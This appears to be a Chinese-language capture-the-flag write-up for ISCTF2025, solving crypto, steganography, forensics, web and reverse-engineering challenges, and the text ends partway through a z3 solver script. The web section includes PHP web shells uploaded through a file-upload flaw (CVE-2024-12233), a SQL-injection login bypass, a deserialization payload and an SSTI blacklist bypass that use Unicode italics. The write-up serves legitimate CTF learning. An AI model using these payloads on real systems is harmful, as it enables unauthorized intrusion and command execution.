
ISCTF2025_wp​

SIGNIN​

Osint4​

逆天的misc思路，抽象的three words​

（出题人vivo50）​

ISCTF{like.crazy.thursdays}

Ez_Caesar​

代码块​

encrypted = "KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}"
# 照着给的逻辑来就行​
new_char = ""
shift = 2
for char in encrypted:
    if char.isalpha():
        if char.isupper():
            new_char += chr(((ord(char) - ord('A') - shift) % 26) + ord('A'))
        else:
            new_char += chr(((ord(char) - ord('a') - shift) % 26) + ord('a'))
        shift += 3
    else:
        new_char += char
    
print(new_char)

ISCTF{Caesar_is_so_easy_and_funny}

RC4​

代码块​

import hashlib

def decrypt(hex_str, key):
    # 1. 密钥处理 (SHA256)​
    k = hashlib.sha256(key.encode()).digest()
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    # 2. 初始化 S 盒 (KSA)​
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + k[i % len(k)]) % 256
        S[i], S[j] = S[j], S[i]
    
    # 3. 生成密钥流并异或解密 (PRGA)​
    data = bytes.fromhex(hex_str)
    res = bytearray()
    i = j = 0
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(byte ^ S[(S[i] + S[j]) % 256])
    
    return res.decode(errors='ignore')

# 密文和尝试密钥​
cipher_hex = 
"ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19
c3baf4bbe24bd57303ce103d"
print(decrypt(cipher_hex, "ISCTF2025"))

ISCTF{Welcome_to_ISCTF_&_this_is_a_secret_with_RC4}

Misc​

Guess!​

二分法猜值,10次以内必能猜到​

ISCTF{9ueSs_thE_@n$weR}

星髓宝盒​
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先看文件格式，没问题，那么binwalk扫描一下​

代码块​

file 星髓宝盒.png
binwalk 星髓宝盒.png

发现有一个隐藏的zip包，根据如图偏移量提取文件并解压​

代码块​

dd if=星髓宝盒.png of=zlib.bin bs=1 skip=103
unzip zlib.bin

发现有三个文件：

你是优秀学生吗.txt​

星髓宝盒.jpg​

真-星髓宝盒.zip（里面有flag.txt）​

打开txt，发现里面很多字符重叠，猜测是零宽隐写​

找到在线网站1解密成功，发现其中仍然存在零宽空格​

继续找到在线网站2解密，解密出一串类似md5的文字​

❗ 不同的网站加密方式不一样，因此需要不断寻找出题人加密的网站
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再查看jpg图片的exif信息​

代码块​

exiftool 星髓宝盒.jpg

发现XP Comment中是一个网站，点开发现是md5解密​

因此解出宝盒密码 !!!@@@###123

flag: ISCTF{1e7553787953e74113be4edfe8ca0e59} ​

木林森​

转base64后注意到有png头，直接cyberchef转图片，发现是一个二维码，扫描后发现是20000824​

继续分析这个png，发现其中还有一个嵌套的jpg图片​

打开发现是社会主义核心价值观编码，解码为....Mamba....​

图片尾部有一串base64编码，解码后为​

代码块​

31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B9
0F4E036

再根据题目提示“Ron's Code For...?”，猜想是RC4(four)解码​

再来一点点脑洞，“....”用2000和0824替换​

key即为:2000Mamba0824​

解码

1
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https://www.somd5.com/


ISCTF{590CF439-E304-4E27-BE45-49CC7B02B3F3}

湖心亭看雪​

python文件是异或+hex，解码 a=15ctf2025 ，应该是作为密钥以后使用​

binwalk查看一下jpg，发现尾部有个隐藏的zip，但是提取不出来​

用010查看一下，尾部的确有一段不同的颜色​

同时还能看到flag.txt，应该就是隐藏的文件了​

但是没有看到zip头，所以补全 50 4B 03 04 并保存​

用a的值作为密码打开zip包，之后出现一段文字，有很大空白部分，加上题目提示，应该就是snow隐

写了

这里用的stegsnow工具，密钥还是a的值​

代码块​

stegsnow -C -p "15ctf2025" flag.txt > secret.out1



cat secret.out

#ISCTF{y0U_H4v3_kN0wn_Wh4t_15_Sn0w!!!}

阿利维亚的传说​

首先看word文本中的内容，需要找出谕言并解读​

解压docx，在document.xml中可以看到谕言1；​

对TiTan.png进行binwalk扫描并提取，可以看到flag3.txt​

zip包解密采用爆破方式，密码为8652，打开是谕言3；​

对TiTan.png用zsteg可以发现一串字符串​

代码块​

zsteg TiTan.png

看出是base64编码，转文本后是谕言2；​

整理三个谕言如下：

代码块​

#谕言1​
V = Dortt
A = otuTa
N = NTsin

#谕言2​
W = Hoeih
H = ouTgo
l = pMhhi
L = eaetc
E = YkrCe

#谕言3​
T = FMfr
R = iytY
U = nGFo
E = diou
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注意到，竖着看是VAN WHILE TRUE，是一个有意义的文本，不过提交flag是错的​

那么我们看后面的文本，发现竖着读是有意义的，每个谕言分别对应一个句子

于是解出flag​

ISCTF{DoNotTrustTitan_HopeYouMakeTherightChoice_FindMyGiftForYou}

美丽的风景照​

先分离出每帧图片颜色和对应的字符

根据hint1，按照彩虹颜色给图片对应编码排序​

代码块​

红：jqW2
橙：Dg2C
黄：7HLo8
绿：6yRWh
青：3CaEK
蓝：ZXw8T
紫：98Mz

根据hint2，“古风都是倒着来的”，对古风的图片（红，橙，青）的编码进行逆序​

代码块​

红：2Wqj
橙：C2gD
黄：7HLo8
绿：6yRWh
青：KEaC3
蓝：ZXw8T
紫：98Mz

拼接得到 2WqjC2gD7HLo86yRWhKEaC3ZXw8T98Mz

base58解密得到flag​

ISCTF{H0w_834u71fu1!!!}

Miscrypto​

可以看出是一道RSA题目，但是题目中的n和c需要我们从附件中寻找​

n直接brainfuck解码得到​
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用010查看c.png​

发现一段类base64字符串

fXGWkWSnLSQSAKbSeTXlUVQTGRi7KVS7jCOKTKHSXXSjHjmTABnXGLH6L1jnYLKQamTGSUC
SDaOKiqeLHyD7IFO2IQGGSGbzKBUQMTe=

和一段类base64编码表

CDABGHEFKLIJOPMNSTQRWXUVabYZefcdijghmnklqropuvstyzwx23016745+/89

先根据两个字典的映射关系，将类base64字符串转换为base64编码，再进行解码​

代码块​

import base64

# 1. 定义字典​
std_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
cus_table = "CDABGHEFKLIJOPMNSTQRWXUVabYZefcdijghmnklqropuvstyzwx23016745+/89"
ciphertext = 
"fXGWkWSnLSQSAKbSeTXlUVQTGRi7KVS7jCOKTKHSXXSjHjmTABnXGLH6L1jnYLKQamTGSUCSDaOKiq
eLHyD7IFO2IQGGSGbzKBUQMTe="

# 2. 建立映射并转换​
trans = str.maketrans(cus_table, std_table)
result_str = ciphertext.translate(trans)

print("转换后的 Base64 串:")
print(result_str)

# 3. 尝试直接解码 (如果是文本 flag)​
try:
    decoded = base64.b64decode(result_str)
    print("\n解码后的十六进制 (Hex):")
    print(decoded.hex())
    print("\n尝试 UTF-8 显示:")
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    print(decoded.decode('utf-8', errors='ignore'))
except Exception as e:
    print(e)

虽然结果字符不可见，但是可以发现hex都是0~9的十进制数，猜测hex即为c​

因此可以解密RSA​

费马题可以先分解p,q​

代码块​

n = 
7644027341241571414254539033581025821232019860861753472899980529695625198016019
462879314488666454640621660011189097660092595699889727595925351737140047609
from sympy import factorint
factors = factorint(n,verbose=True)
print(factors)

再解密

代码块​

from Crypto.Util.number import long_to_bytes

# 题目给出的参数​
c = 
7551149944252504900886507115675974911138392174398403084481505554211619110839551
091782778656892126244444160100583088287091700792873342921044046712035923917
p = 
87430128338242598134172260625226774095596700493624565125749444668870272998101
q = 
87430128338242598134172260625226774095596700493624565125749444668870272994709
e = 65537

# 1. 计算 n 和 phi​
n = p * q
phi = (p - 1) * (q - 1)

# 2. 计算私钥 d (e 关于 phi 的模逆元)​
# Python 3.8+ 的 pow 函数支持三个参数求逆元​
d = pow(e, -1, phi)

# 3. 解密 m​
m = pow(c, d, n)

# 4. 转换为字符串​
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flag = long_to_bytes(m)
print(flag)

flag: ISCTF{M15c_10v3_Cryp70} ​

flag到底在哪​

因为题目说输出了flag，所以连接后输入cat flag即得​

代码块​

from pwn import *
io = ssh(host='challenge.bluesharkinfo.com', 
        user='qyy', 
        port=24277,
        password='')
io.send(b'cat flag')
io.interactive()

ISCTF{725e914e-4afb-45b6-9a1f-2bd3c0731a19}​

小蓝鲨的神秘文件​

下载下来文件没有后缀，改成“1.zip”解压，得到ChsPinyinUDL.dat​

用记事本打开可以得到部分可读内容
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所以在蓝鲨官网新闻动态页面找到ISCTF2025的开赛公告，文章底部找到flag​

冲刺！偷摸零！​

题目是一个 Java 编写的跑酷小游戏。通过反编译分析，发现关键线索藏在内部嵌入的 SQLite 数据库

和游戏结束的逻辑代码中。Flag 被分成了两部分：Part 1 在数据库的 User 表中，Part 2 隐藏在代码的

异或运算里。

拿到 Jar 包后，使用 Jadx 打开进行反编译。 在浏览项目结构时，发现 com.qf.util.DataSourceUtil 类

中有一个非常可疑的方法 extractDatabaseFromJar()。​

代码块​

// DataSourceUtil.java 关键代码片段​
InputStream is = 
DataSourceUtil.class.getClassLoader().getResourceAsStream("ctf.db");
// ... 代码逻辑是将 ctf.db 从 Jar 包中提取到临时目录​

这段代码表明 Jar 包内藏有一个名为 ctf.db 的 SQLite 数据库文件。​

使用 DB Browser for SQLite 打开提取出的 ctf.db。 查看 user 表，在flag_part栏找到

PART1:ISCTF{Tom0R1_Dash​

数据库里没有part2，在游戏结束界面 com.qf.run.GameOverView 的构造函数中，发现了一段奇怪的

异或解密逻辑：

代码块​

// GameOverView.java
byte[] encrypted = {5, 20, 7, 1, 103, 111, 10, 18, 32, 18, 32, 10, 18, 20, 18, 
20, 116, 116, 40};
byte[] decrypted = new byte[encrypted.length];
for (int i = 0; i < encrypted.length; i++) {
    decrypted[i] = (byte) (encrypted[i] ^ 85); // 85 就是 0x55​
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}
new String(decrypted); // 解密后创建了字符串但未赋值给变量，直接丢弃​
// 界面提示：hint1JLabel.setText("你死了...\n但是内存中似乎多了什么东西？");​

简单写一个脚本解密一下

代码块​

cipher = [5, 20, 7, 1, 103, 111, 10, 18, 32, 18, 32, 10, 18, 20, 18, 20, 116, 
116, 40]
key = 85
flag_part2 = ""
for c in cipher:
    flag_part2 += chr(c ^ key)
print(flag_part2)

运行结果： PART2:_GuGu_GAGA!!}​

所以得到flag：ISCTF{Tom0R1_Dash_GuGu_GAGA!!}

Abnormal log​

写正则表达式提取7z文件​

代码块​

import re
import binascii

def restore_file():
    log_file = "access.log"
    output_archive = "restored_file.7z"
    
    # 用于存储提取的数据片段，格式: { segment_id: hex_string }​
    segments = {}
    
    # 状态变量，用于记录当前正在处理的段号​
    current_segment_id = None
    
    # 正则表达式​
    # 匹配段号: Attacker uploading segment 123...​
    re_segment = re.compile(r"Attacker uploading segment (\d+)")
    # 匹配数据: File data segment: a1b2c3...​
    re_data = re.compile(r"File data segment: ([0-9a-fA-F]+)")

    print(f"[*] 正在读取日志文件: {log_file} ...")
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    try:
        with open(log_file, 'r', encoding='utf-8', errors='ignore') as f:
            lines = f.readlines()

        for line in lines:
            # 1. 检查这一行是否是段号声明​
            seg_match = re_segment.search(line)
            if seg_match:
                current_segment_id = int(seg_match.group(1))
                continue # 继续读下一行寻找数据​

            # 2. 检查这一行是否是数据​
            # 假设日志的文本顺序是“段号声明”在“数据”之前（即便是乱序日志，通常单条记录的
逻辑顺序保持相对紧凑）​
            data_match = re_data.search(line)
            if data_match and current_segment_id is not None:
                hex_data = data_match.group(1)
                segments[current_segment_id] = hex_data
                # 提取完数据后重置当前段号，防止数据错位​
                current_segment_id = None

    except FileNotFoundError:
        print(f"[!] 错误: 找不到文件 {log_file}")
        return

    print(f"[*] 共提取到 {len(segments)} 个数据片段。")

    if len(segments) == 0:
        print("[!] 未提取到任何数据，请检查日志格式。")
        return

    # 按段号从小到大排序 (1, 2, 3, ...)​
    sorted_keys = sorted(segments.keys())
    
    # 检查是否缺失片段​
    if sorted_keys[-1] != len(sorted_keys):
        print(f"[!] 警告: 看起来可能缺失了某些片段 (最大段号 {sorted_keys[-1]} vs 总
数 {len(sorted_keys)})")

    # 拼接所有十六进制数据​
    full_hex_data = ""
    for seg_id in sorted_keys:
        full_hex_data += segments[seg_id]

    # 将十六进制转换为字节流​
    try:

21
22
23
24
25
26
27
28
29
30
31
32
33
34

35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

58
59
60
61
62
63
64
65



        encrypted_bytes = binascii.unhexlify(full_hex_data)
    except binascii.Error:
        print("[!] 十六进制转换错误，数据可能损坏。")
        return

    print("[*] 正在进行 XOR 0x05 解密...")
    
    # XOR 解密 (Key = 0x05)​
    decrypted_bytes = bytearray()
    for byte in encrypted_bytes:
        decrypted_bytes.append(byte ^ 0x05)

    # 检查文件头 (7z 文件头魔数: 37 7A BC AF 27 1C)​
    header = decrypted_bytes[:6]
    if header == b'\x37\x7A\xBC\xAF\x27\x1C':
        print("[+] 检测到有效的 7-Zip 文件头！")
    else:
        print(f"[!] 未检测到 7-Zip 头，文件头为: {binascii.hexlify(header)}")
        print("[!] 可能解密 Key 不对，或者文件并非 7z，但仍将保存文件。")

    # 写入文件​
    with open(output_archive, 'wb') as f_out:
        f_out.write(decrypted_bytes)

    print(f"[+] 成功还原文件: {output_archive}")
    print("[+] 请使用解压软件（如 WinRAR 或 7-Zip）解压该文件，flag.png 就在其中。")

if __name__ == '__main__':
    restore_file()

解压，里面是flag.png​

小蓝鲨的千层FLAG​

注意到注释是下一个包的密码，写脚本解压

代码块​

import re
import struct
import subprocess
import sys
import time
from pathlib import Path
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# === 配置区域 ===​
SEVEN_Z = r"D:/7zip/7-Zip/7z.exe"  # 你的 7z 路径，保持不变​
# ================

SIG_EOCD = b"PK\x05\x06"

def find_eocd(data: bytes) -> int:
    start = max(0, len(data) - (0xFFFF + 22))
    idx = data.rfind(SIG_EOCD, start)
    if idx < 0:
        raise ValueError("EOCD not found")
    return idx

def get_password(zip_path: Path) -> str:
    data = zip_path.read_bytes()
    try:
        eocd = find_eocd(data)
        cmt_len = struct.unpack_from("<H", data, eocd + 20)[0]
        cmt = data[eocd + 22 : eocd + 22 + cmt_len].decode("utf-8", 
errors="ignore")
    except Exception as e:
        print(f"读取注释出错: {e}")
        return ""

    # 【关键修改】正则改宽一点，匹配 'password is ' 后面的所有非空字符​
    # 这样即使密码里有 hex 范围之外的字母也能匹配到​
    m = re.search(r"password\s+is\s+([\S]+)", cmt, re.I)
    
    if not m:
        print(f"\n[!] 在 {zip_path.name} 中找不到密码格式。")
        print(f"    原始注释内容: {cmt!r}")
        raise ValueError("Password pattern not matched")
    
    return m.group(1).strip()

def run_7z_extract(zip_file: Path, password: str, out_dir: Path):
    out_dir = Path(out_dir)
    out_dir.mkdir(parents=True, exist_ok=True)
    
    cmd = [str(SEVEN_Z), "x", str(zip_file), f"-p{password}", f"-
o{str(out_dir)}", "-y"]
    
    r = subprocess.run(cmd, capture_output=True, text=True)
    if r.returncode != 0:
        # 如果是密码错误，7z 通常会返回非0，且 stderr 包含 Wrong password​
        if "Wrong password" in r.stderr:
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             raise ValueError(f"密码错误: {password}")
        raise RuntimeError(f"7z 解压失败: {r.stderr}")

def main():
    work = Path(__file__).resolve().parent
    out = work / "out"
    
    # 1. 强制指定起点为 flagggg999.zip​
    start_name = "flagggg999.zip"
    cur = out / start_name

    if not cur.exists():
        print(f"错误: 在 {out} 目录下找不到 {start_name}")
        print("请确认之前的解压结果还在 out 文件夹里。")
        return

    print(f"=== 开始从 {cur.name} 继续解压 ===")

    # 循环解压​
    while True:
        try:
            # 1. 获取当前文件名里的数字​
            cur_num_match = re.search(r"(\d+)", cur.stem)
            if not cur_num_match:
                print(f"文件名 {cur.name} 不包含数字，停止。")
                break
            
            current_n = int(cur_num_match.group(1))
            
            # 2. 获取密码​
            pw = get_password(cur)
            print(f"[{current_n}] 解压 {cur.name} | 密码: {pw}")

            # 3. 解压​
            run_7z_extract(cur, pw, out)

            # 4. 计算下一个文件名 (数字减 1)​
            next_n = current_n - 1
            next_file = out / f"flagggg{next_n}.zip"

            # 5. 检查下一个文件是否存在​
            if next_file.exists():
                cur = next_file
            else:
                # 稍微等一下文件系统刷新（极少见情况）​
                time.sleep(0.1)
                if next_file.exists():
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                    cur = next_file
                else:
                    print(f"停止: 解压成功，但找不到预期的下一个文件: 
{next_file.name}")
                    print("可能已经到底了，或者下一个文件名格式变了。")
                    
                    # 尝试看看有没有叫 flag.txt 之类的​
                    txt_files = list(out.glob("*.txt"))
                    if txt_files:
                        print(f"发现文本文件: {[f.name for f in txt_files]}")
                    break

        except ValueError as ve:
            print(f"停止: {ve}")
            break
        except Exception as e:
            print(f"发生未预期的错误: {e}")
            break

if __name__ == "__main__":
    main()

解压直到flagggg3.zip​

已知它含有flagggg2.zip，通过bkcrack进行已知明文攻击​

照着题目给的网站做就行了

.\bkcrack.exe -C flagggg3.zip -c flagggg2.zip -p plain1.txt -o 30 -x 0 
504B0304

然后转换到另一个压缩包，解压两次即可得到flag​

ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}

Web​

b@by n0t1ce b0ard​

在这个网站中可以看到相关指导

原理是对上传的img图片缺乏有效验证，导致可以上传php文件获得cmd权限​

查询CVE-2024-12233漏洞，写一个php文件的payload，命名为shell.php​

代码块​

<?php
if (isset($_REQUEST['cmd'])) {
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    echo "<pre>";
    echo shell_exec($_REQUEST['cmd']);
    echo "</pre>";
}
?>

在容器网站上正常注册，上传shell.php​

之后访问

http://challenge.bluesharkinfo.com:21529/images/123@example.com/shell.p
hp?cmd=ls ，如果有shell.php说明已经入侵成功​

最后访问如下网址执行命令cat /flag即可​

代码块​

http://challenge.bluesharkinfo.com:21529/images/123@example.com/shell.php?
cmd=cat%20/flag

（123@example.com替换注册的邮箱）

ISCTF{91392175-0380-4496-8d46-c515d285ad66}

来签个到吧​

查看源码发现有一段被注释掉了

在开发者工具中去除注释标记，可以发现上传按钮
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随机提交请求，发现POST的参数前面总是带有"shark="前缀，如果修改，则会显示错误​

查看附件发现是反序列化漏洞，构造payload如下​

代码块​

blueshark:O:12:"ShitMountant":2:{s:3:"url";s:5:"/flag";s:6:"logger";N;}

之后访问/api.php?id=1即可查看flag​

ISCTF{b3341050-a9c8-4b93-bc16-61d760b5a6c7}

难过的bottle​

上传{{7*7}}，回显49发现是ssti​

黑名单里除了flag四个没有其他字符，怎么办呢？​

直接斜体就行了😋​

代码块​

{{ℴ𝓅ℯ𝓃('/flag').𝓇ℯ𝒶𝒹()}}

payload直接打，上传之后查看文件就可以​

ISCTF{308fa63b-f587-49a5-bee4-e1197adf946c}

ezrce​

访问/?code=chdir(dirname(dirname(dirname(__DIR__))));highlight_file(flag);​

（返回根目录并读取高亮文件flag）​

1
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ISCTF{fb407456-6430-42bd-820f-3f778aa9cb64}

flag到底在哪​

访问/admin/login.php到达登陆界面​

拦截请求，修改用户名为admin，密码尝试得到 ' OR '1'='1 （即SQL注入）​

重定向到这个界面

上传能获取cmd权限的php文件​

代码块​

<?php
    system($_GET['cmd']); 
?>

查看环境变量，访问/?cmd=env即可​

ISCTF{aa334051-9819-4ad3-9784-05844da386ed}

Reserve​

ezzz_math​

ida打开发现flag应该有23个字节，然后先逐字节异或0xC，后面解方程，直接上代码​

代码块​

from z3 import *

def solve_flag():
    s = Solver()
    
    flag = [BitVec(f'f_{i}', 32) for i in range(23)]
    
    # 解方程​
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    s.add(94 * flag[22] + 74 * flag[21] + 70 * flag[19] + 12 * flag[18] + 20 * 
flag[16] + 
          62 * flag[12] + 82 * flag[10] + 7 * flag[7] + 63 * flag[6] + 18 * 
flag[5] + 
          58 * flag[4] + 94 * flag[2] + 77 * flag[0] - 43 * flag[1] - 37 * 
flag[3] - 
          97 * flag[8] - 23 * flag[9] - 86 * flag[11] - 6 * flag[13] - 5 * 
flag[14] - 
          79 * flag[15] - 63 * flag[17] - 93 * flag[20] == 20156)
    
    s.add(87 * flag[22] + 75 * flag[21] + 73 * flag[15] + 67 * flag[14] + 30 * 
flag[13] + 
          (flag[11] * 64) + 35 * flag[9] + 91 * flag[7] + 91 * flag[5] + 34 * 
flag[3] + 
          74 * flag[0] - 89 * flag[1] - 72 * flag[2] - 76 * flag[4] - 32 * 
flag[6] - 
          97 * flag[8] - 39 * flag[10] - 23 * flag[12] + 8 * flag[16] - 98 * 
flag[17] - 
          4 * flag[18] - 80 * flag[19] - 83 * flag[20] == 7183)
    
    s.add(51 * flag[21] + 22 * flag[20] + 15 * flag[19] + 51 * flag[17] + 96 * 
flag[12] + 
          34 * flag[7] + 77 * flag[5] + 59 * flag[2] + 89 * flag[1] + 92 * 
flag[0] - 
          85 * flag[3] - 50 * flag[4] - 51 * flag[6] - 75 * flag[8] - 40 * 
flag[10] - 
          4 * flag[11] - 74 * flag[13] - 98 * flag[14] - 23 * flag[15] - 14 * 
flag[16] - 
          92 * flag[18] - 7 * flag[22] == -7388)
    
    s.add(61 * flag[22] + 72 * flag[21] + 28 * flag[20] + 55 * flag[18] + 20 * 
flag[17] + 
          13 * flag[14] + 51 * flag[13] + 69 * flag[12] + 10 * flag[11] + 95 * 
flag[10] + 
          43 * flag[9] + 53 * flag[8] + 76 * flag[7] + 25 * flag[6] + 9 * 
flag[5] + 
          10 * flag[4] + 98 * flag[1] + 70 * flag[0] - 22 * flag[2] + 2 * 
flag[3] - 
          49 * flag[15] + 4 * flag[16] - 77 * flag[19] == 69057)
    
    s.add(7 * flag[22] + 21 * flag[16] + 22 * flag[13] + 55 * flag[9] + 66 * 
flag[8] + 
          78 * flag[5] + 10 * flag[3] + 80 * flag[1] + 65 * flag[0] - 20 * 
flag[2] - 
          53 * flag[4] - 98 * flag[6] + 8 * flag[7] - 78 * flag[10] - 94 * 
flag[11] - 
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          93 * flag[12] - 18 * flag[14] - 48 * flag[15] - 9 * flag[17] - 73 * 
flag[18] - 
          59 * flag[19] - 68 * flag[20] - 74 * flag[21] == -31438)
    
    s.add(33 * flag[19] + 78 * flag[15] + 66 * flag[10] + 3 * flag[9] + 43 * 
flag[4] + 
          24 * flag[3] + 3 * flag[2] + 27 * flag[0] - 18 * flag[1] - 46 * 
flag[5] - 
          18 * flag[6] - flag[7] - 33 * flag[8] - 50 * flag[11] - 23 * 
flag[12] - 
          37 * flag[13] - 45 * flag[14] + 2 * flag[16] - flag[17] - 60 * 
flag[18] - 
          87 * flag[20] - 72 * flag[21] - 6 * flag[22] == -26121)
    
    s.add(31 * flag[20] + 80 * flag[18] + 34 * flag[17] + 34 * flag[15] + 38 * 
flag[14] + 
          53 * flag[13] + 35 * flag[12] + 82 * flag[9] + 27 * flag[8] + 80 * 
flag[7] + 
          46 * flag[6] + 18 * flag[4] + 5 * flag[1] + 98 * flag[0] - 12 * 
flag[2] - 
          9 * flag[3] - 57 * flag[5] - 46 * flag[10] - 31 * flag[11] - 68 * 
flag[16] - 
          94 * flag[19] - 93 * flag[21] - 15 * flag[22] == 26005)
    
    s.add(81 * flag[21] + 40 * flag[20] + 34 * flag[19] + 94 * flag[18] + 98 * 
flag[17] + 
          11 * flag[14] + 63 * flag[13] + 95 * flag[12] + 43 * flag[11] + 99 * 
flag[10] + 
          29 * flag[9] + 81 * flag[6] + 72 * flag[5] + 54 * flag[3] + 21 * 
flag[0] - 
          26 * flag[1] - 90 * flag[2] - 15 * flag[4] - 54 * flag[7] - 12 * 
flag[8] - 
          38 * flag[15] - 15 * flag[16] - 56 * flag[22] == 57169)
    
    s.add(71 * flag[18] + 39 * flag[17] + 73 * flag[15] + 14 * flag[14] + 56 * 
flag[12] + 
          56 * flag[10] + 27 * flag[9] + 68 * flag[7] + 39 * flag[6] + 26 * 
flag[5] + 
          40 * flag[4] + 24 * flag[3] + 11 * flag[2] + 14 * flag[1] + 94 * 
flag[0] - 
          10 * flag[8] - 11 * flag[11] - 63 * flag[13] - 39 * flag[16] - 14 * 
flag[19] - 
          17 * flag[20] - 23 * flag[21] - 7 * flag[22] == 40024)
    
    s.add((flag[22] * 64) + 80 * flag[21] + 89 * flag[20] + 70 * flag[19] + 66 
* flag[18] + 
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          55 * flag[17] + 16 * flag[16] + 84 * flag[13] + 48 * flag[12] + 11 * 
flag[7] + 
          32 * flag[5] + 99 * flag[0] - 26 * flag[1] - 91 * flag[2] - 96 * 
flag[3] - 
          63 * flag[4] - 67 * flag[6] - 72 * flag[8] + 4 * flag[9] - 84 * 
flag[10] - 
          81 * flag[11] - 80 * flag[14] - 98 * flag[15] == 432)
    
    s.add(flag[21] + 41 * flag[17] + 46 * flag[12] + 44 * flag[9] + 63 * 
flag[0] - 
          73 * flag[1] - 43 * flag[2] + 4 * flag[3] - 37 * flag[4] - 54 * 
flag[5] - 
          58 * flag[6] - 95 * flag[7] - 2 * flag[8] - 37 * flag[10] - 5 * 
flag[11] + 
          2 * flag[13] - 46 * flag[14] - 27 * flag[15] - 19 * flag[16] - 78 * 
flag[18] - 
          51 * flag[19] - 82 * flag[20] - 59 * flag[22] == -57338)
    
    s.add(10 * flag[22] + 58 * flag[18] + 16 * flag[17] + 69 * flag[16] + 6 * 
flag[15] + 
          5 * flag[12] + 87 * flag[7] + 47 * flag[5] + 91 * flag[4] + 54 * 
flag[2] + 
          21 * flag[1] + 52 * flag[0] - 76 * flag[3] - 96 * flag[6] - 27 * 
flag[8] - 
          43 * flag[9] - 15 * flag[10] - 35 * flag[11] - 53 * flag[13] + 4 * 
flag[14] - 
          83 * flag[19] - 68 * flag[20] - 18 * flag[21] == 1777)
    
    s.add(66 * flag[22] + 92 * flag[21] + 29 * flag[20] + 42 * flag[19] + 55 * 
flag[14] + 
          72 * flag[13] + 40 * flag[12] + 31 * flag[10] + 88 * flag[9] + 61 * 
flag[8] + 
          59 * flag[7] + 35 * flag[6] + 16 * flag[3] + 24 * flag[1] + 60 * 
flag[0] - 
          55 * flag[2] - 8 * flag[4] - 7 * flag[5] - 17 * flag[11] - 25 * 
flag[15] - 
          22 * flag[16] - 10 * flag[17] - 59 * flag[18] == 47727)
    
    s.add(3 * flag[21] + 54 * flag[18] + 6 * flag[15] + 93 * flag[14] + 74 * 
flag[10] + 
          6 * flag[7] + 98 * flag[4] + 65 * flag[3] + 84 * flag[2] + 18 * 
flag[1] + 
          35 * flag[0] - 29 * flag[5] - 40 * flag[6] - 35 * flag[8] + 8 * 
flag[9] - 
          15 * flag[11] - 4 * flag[12] - 83 * flag[16] - 74 * flag[17] - 72 * 
flag[19] - 
          53 * flag[20] - 31 * flag[22] == 6695)
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    s.add(45 * flag[20] + 14 * flag[19] + 76 * flag[18] + 17 * flag[16] + 86 * 
flag[14] + 
          28 * flag[11] + 19 * flag[5] + 46 * flag[1] + 75 * flag[0] - 12 * 
flag[2] - 
          27 * flag[3] - 66 * flag[4] - 27 * flag[6] - 32 * flag[7] - 69 * 
flag[8] - 
          31 * flag[9] - 65 * flag[10] - 54 * flag[12] - 6 * flag[13] + 2 * 
flag[15] - 
          10 * flag[17] - 89 * flag[21] - 16 * flag[22] == -3780)
    
    s.add(62 * flag[21] + 74 * flag[20] + 28 * flag[18] + 7 * flag[17] + 74 * 
flag[16] + 
          45 * flag[15] + 57 * flag[14] + 34 * flag[11] + 85 * flag[10] + 98 * 
flag[6] + 
          29 * flag[4] + 94 * flag[3] + 51 * flag[2] + 85 * flag[1] - 36 * 
flag[5] - 
          flag[7] - 3 * flag[8] - 74 * flag[9] - 70 * flag[12] - 68 * flag[13] 
- 
          3 * flag[19] + 8 * flag[22] == 47300)
    
    s.add(22 * flag[22] + 45 * flag[21] + 14 * flag[19] + 32 * flag[18] + 77 * 
flag[17] + 
          70 * flag[12] + 7 * flag[10] + 99 * flag[4] + 82 * flag[0] - 48 * 
flag[1] - 
          40 * flag[2] - 81 * flag[3] - 27 * flag[5] - 75 * flag[6] - 79 * 
flag[7] - 
          26 * flag[8] - 68 * flag[9] - 57 * flag[11] - 77 * flag[13] - 32 * 
flag[14] - 
          flag[15] - 91 * flag[16] - 14 * flag[20] == -34153)
    
    s.add(65 * flag[21] + 13 * flag[20] + 61 * flag[17] + 97 * flag[13] + 24 * 
flag[10] + 
          40 * flag[5] + 20 * flag[0] - 81 * flag[1] - 17 * flag[2] - 77 * 
flag[3] - 
          79 * flag[4] - 45 * flag[6] - 61 * flag[7] - 48 * flag[8] - 97 * 
flag[9] - 
          49 * flag[11] - 14 * flag[12] - 81 * flag[14] - 20 * flag[15] - 27 * 
flag[16] - 
          89 * flag[18] - 93 * flag[19] - 46 * flag[22] == -55479)
    
    s.add(60 * flag[21] + 70 * flag[20] + 13 * flag[15] + 87 * flag[13] + 76 * 
flag[11] + 
          88 * flag[9] + 87 * flag[3] + 87 * flag[0] - 97 * flag[1] - 40 * 
flag[2] - 
          49 * flag[4] - 23 * flag[5] - 30 * flag[6] - 50 * flag[7] - 98 * 
flag[8] - 
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          21 * flag[10] - 54 * flag[12] - 65 * flag[14] - 80 * flag[17] - 28 * 
flag[18] - 
          57 * flag[19] - 70 * flag[22] == -20651)
    
    s.add(54 * flag[20] + 86 * flag[17] + 92 * flag[16] + 41 * flag[15] + 70 * 
flag[10] + 
          9 * flag[9] + flag[8] + 96 * flag[7] + 45 * flag[6] + 78 * flag[5] + 
          3 * flag[4] + 90 * flag[3] + 71 * flag[2] + 96 * flag[0] - 8 * 
flag[1] + 
          4 * flag[11] - 55 * flag[12] - 73 * flag[13] - 54 * flag[14] - 89 * 
flag[18] - 
          (flag[19] * 64) - 67 * flag[21] + 4 * flag[22] == 35926)
    
    s.add(5 * flag[22] + 88 * flag[20] + 52 * flag[19] + 21 * flag[17] + 25 * 
flag[16] + 
          3 * flag[13] + 88 * flag[10] + 39 * flag[8] + 48 * flag[7] + 74 * 
flag[6] + 
          86 * flag[4] + 46 * flag[2] + 17 * flag[0] - 98 * flag[1] - 50 * 
flag[3] - 
          28 * flag[5] - 73 * flag[9] - 33 * flag[11] - 75 * flag[12] - 14 * 
flag[14] - 
          31 * flag[15] - 26 * flag[18] - 52 * flag[21] == 8283)
    
